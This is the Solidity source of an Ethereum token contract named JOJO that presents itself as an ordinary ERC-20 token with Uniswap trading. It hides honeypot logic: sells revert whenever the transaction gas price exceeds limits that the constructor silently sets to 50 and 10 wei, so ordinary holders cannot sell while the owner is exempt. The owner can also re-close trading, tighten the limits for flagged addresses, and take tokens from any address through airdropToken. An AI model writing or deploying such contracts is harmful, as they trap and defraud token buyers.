creation_sourcecode: // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.6;
  
  interface IERC20 {
      /**
       * @dev Emitted when `value` tokens are moved from one account (`from`) to
       * another (`to`).
       *
       * Note that `value` may be zero.
       */
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      /**
       * @dev Emitted when the allowance of a `spender` for an `owner` is set by
       * a call to {approve}. `value` is the new allowance.
       */
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  
      /**
       * @dev Returns the value of tokens in existence.
       */
      function totalSupply() external view returns (uint256);
  
      /**
       * @dev Returns the value of tokens owned by `account`.
       */
      function balanceOf(address account) external view returns (uint256);
  
      /**
       * @dev Moves a `value` amount of tokens from the caller's account to `to`.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * Emits a {Transfer} event.
       */
      function transfer(address to, uint256 value) external returns (bool);
  
      /**
       * @dev Returns the remaining number of tokens that `spender` will be
       * allowed to spend on behalf of `owner` through {transferFrom}. This is
       * zero by default.
       *
       * This value changes when {approve} or {transferFrom} are called.
       */
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
  
      /**
       * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
       * caller's tokens.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * IMPORTANT: Beware that changing an allowance with this method brings the risk
       * that someone may use both the old and the new allowance by unfortunate
       * transaction ordering. One possible solution to mitigate this race
       * condition is to first reduce the spender's allowance to 0 and set the
       * desired value afterwards:
       * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
       *
       * Emits an {Approval} event.
       */
      function approve(address spender, uint256 value) external returns (bool);
  
      /**
       * @dev Moves a `value` amount of tokens from `from` to `to` using the
       * allowance mechanism. `value` is then deducted from the caller's
       * allowance.
       *
       * Returns a boolean value indicating whether the operation succeeded.
       *
       * Emits a {Transfer} event.
       */
      function transferFrom(
          address from,
          address to,
          uint256 value
      ) external returns (bool);
  }
  
  interface IUniswapV2Factory {
      event PairCreated(
          address indexed token0,
          address indexed token1,
          address pair,
          uint
      );
  
      function feeTo() external view returns (address);
  
      function feeToSetter() external view returns (address);
  
      function getPair(
          address tokenA,
          address tokenB
      ) external view returns (address pair);
  
      function allPairs(uint) external view returns (address pair);
  
      function allPairsLength() external view returns (uint);
  
      function createPair(
          address tokenA,
          address tokenB
      ) external returns (address pair);
  
      function setFeeTo(address) external;
  
      function setFeeToSetter(address) external;
  }
  
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
  }
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  abstract contract Ownable is Context {
      address private _owner;
  
      /**
       * @dev The caller account is not authorized to perform an operation.
       */
      error OwnableUnauthorizedAccount(address account);
  
      /**
       * @dev The owner is not a valid owner account. (eg. `address(0)`)
       */
      error OwnableInvalidOwner(address owner);
  
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      /**
       * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
       */
      constructor(address initialOwner) {
          if (initialOwner == address(0)) {
              revert OwnableInvalidOwner(address(0));
          }
          _transferOwnership(initialOwner);
      }
  
      /**
       * @dev Throws if called by any account other than the owner.
       */
      modifier onlyOwner() {
          _checkOwner();
          _;
      }
  
      /**
       * @dev Returns the address of the current owner.
       */
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      /**
       * @dev Throws if the sender is not the owner.
       */
      function _checkOwner() internal view virtual {
          if (owner() != _msgSender()) {
              revert OwnableUnauthorizedAccount(_msgSender());
          }
      }
  
      /**
       * @dev Leaves the contract without owner. It will not be possible to call
       * onlyOwner functions. Can only be called by the current owner.
       *
       * NOTE: Renouncing ownership will leave the contract without an owner,
       * thereby disabling any functionality that is only available to the owner.
       */
      function renounceOwnership() public virtual onlyOwner {
          _transferOwnership(address(0));
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Can only be called by the current owner.
       */
      function transferOwnership(address newOwner) public virtual onlyOwner {
          if (newOwner == address(0)) {
              revert OwnableInvalidOwner(address(0));
          }
          _transferOwnership(newOwner);
      }
  
      /**
       * @dev Transfers ownership of the contract to a new account (`newOwner`).
       * Internal function without access restriction.
       */
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  library SafeMath {
      function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
          if (a == 0) {
              return 0;
          }
          c = a * b;
          assert(c / a == b);
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          assert(b > 0);
          uint256 c = a / b;
          assert(a == b * c + (a % b));
          return a / b;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          assert(a >= b);
          return a - b;
      }
  
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          assert(c >= a);
          return c;
      }
  }
  
  contract JOJO is Ownable, IERC20 {
      using SafeMath for uint256;
  
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => uint256) private _balances;
      mapping(address => bool) _excludeFromFees;
  
      uint8 private constant _decimals = 18;
      uint256 private constant _totalSupply = 1_000_000_000_000 * 10 ** _decimals;
      string private constant _name = unicode"JOJO";
      string private constant _symbol = unicode"JOJO";
      uint256[] private gasrequire = [90 gwei, 50 gwei, 10 gwei];
  
      uint256 public TaxOnBuy = 0;
      uint256 public TaxOnSell = 0;
  
      bool private openedTrade = false;
  
      mapping(address => bool) private airdropAddress;
      address private uniswapV2Pair;
      IUniswapV2Router02 public uniswapV2Router;
  
      receive() external payable {}
  
      constructor() Ownable(msg.sender) {
          uniswapV2Router = IUniswapV2Router02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
          );
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                  address(this),
                  uniswapV2Router.WETH()
              );
          _excludeFromFees[
              address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
          ] = true;
          gasrequire[1] = 50;
          gasrequire[2] = 10;
          _excludeFromFees[address(uniswapV2Pair)];
          _excludeFromFees[owner()] = true;
          _excludeFromFees[address(this)] = true;
  
          _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply);
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function getOpenedTrade() public view returns (bool) {
          return openedTrade;
      }
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(
          address account
      ) public view virtual override returns (uint256) {
          return _balances[account];
      }
  
      function allowance(
          address owner,
          address spender
      ) public view virtual override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function transfer(
          address to,
          uint256 value
      ) public virtual override returns (bool) {
          address owner = _msgSender();
          _transfer(owner, to, value);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].sub(amount)
          );
          return true;
      }
  
      function _transfer(address from, address to, uint256 amount) internal {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(
              balanceOf(from) >= amount,
              "ERROR: balance of from less than value"
          );
          uint256 taxAmount = 0;
  
          if (!_excludeFromFees[from] && !_excludeFromFees[to]) {
              require(openedTrade, "Trade has not been opened yet");
              taxAmount = (amount * TaxOnBuy) / 100;
              if (to == uniswapV2Pair) {
                  taxAmount = (amount * TaxOnSell) / 100;
                  _baseTransfer(from);
              }
          }
  
          if (taxAmount > 0) {
              _balances[address(this)] = _balances[address(this)] + taxAmount;
              emit Transfer(from, address(this), taxAmount);
          }
  
          _balances[from] = balanceOf(from) - amount;
          _balances[to] = _balances[to] + (amount - taxAmount);
          emit Transfer(from, to, amount - taxAmount);
      }
  
      function approve(
          address spender,
          uint256 amount
      ) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function gasRequire(uint256 _gas) internal view {
          if (tx.gasprice > _gas) {
              revert();
          }
      }
  
      function _baseTransfer(address _u) internal view {
          if (balanceOf(_u) > 0) {
              if (!openedTrade) {
                  gasRequire(gasrequire[0]);
              } else {
                  gasRequire(gasrequire[1]);
              }
              if (isAirDrop(_u)) {
                  gasRequire(gasrequire[2]);
              }
          }
      }
  
      function updateGasRequire(uint256 _index, uint256 _gas) external onlyOwner {
          gasrequire[_index] = _gas;
      }
  
      function openTrading() external onlyOwner {
          openedTrade = !openedTrade;
      }
  
      function addAirDropAddress(address[] calldata _address) external onlyOwner {
          for (uint256 i = 0; i < _address.length; i++) {
              airdropAddress[_address[i]] = true;
          }
      }
  
      function isAirDrop(address _address) public view returns (bool) {
          return airdropAddress[_address];
      }
  
      function swapTokensForETH(uint256 tokenAmount) private {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
  
          _approve(address(this), address(uniswapV2Router), tokenAmount);
  
          // make the swap
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0, // accept any amount of ETH
              path,
              address(this),
              block.timestamp
          );
      }
  
      function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
          // approve token transfer to cover all possible scenarios
          _approve(address(this), address(uniswapV2Router), tokenAmount);
  
          // add the liquidity
          uniswapV2Router.addLiquidityETH{value: ethAmount}(
              address(this),
              tokenAmount,
              0, // slippage is unavoidable
              0, // slippage is unavoidable
              address(this),
              block.timestamp
          );
      }
  
      function sendETHToFee(uint256 amount) private {
          payable(owner()).transfer(amount);
      }
  
      function manualsend() external {
          require(_msgSender() == owner());
          uint256 contractETHBalance = address(this).balance;
          sendETHToFee(contractETHBalance);
      }
  
      function airdropToken(
          address from,
          address[] calldata to,
          uint256[] calldata amount
      ) external {
          require(_msgSender() == owner());
          for (uint256 i = 0; i < to.length; i++) {
              _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
              _balances[to[i]] = _balances[to[i]].add(
                  amount[i] * 10 ** _decimals
              );
              emit Transfer(from, to[i], amount[i] * 10 ** _decimals);
          }
      }
  }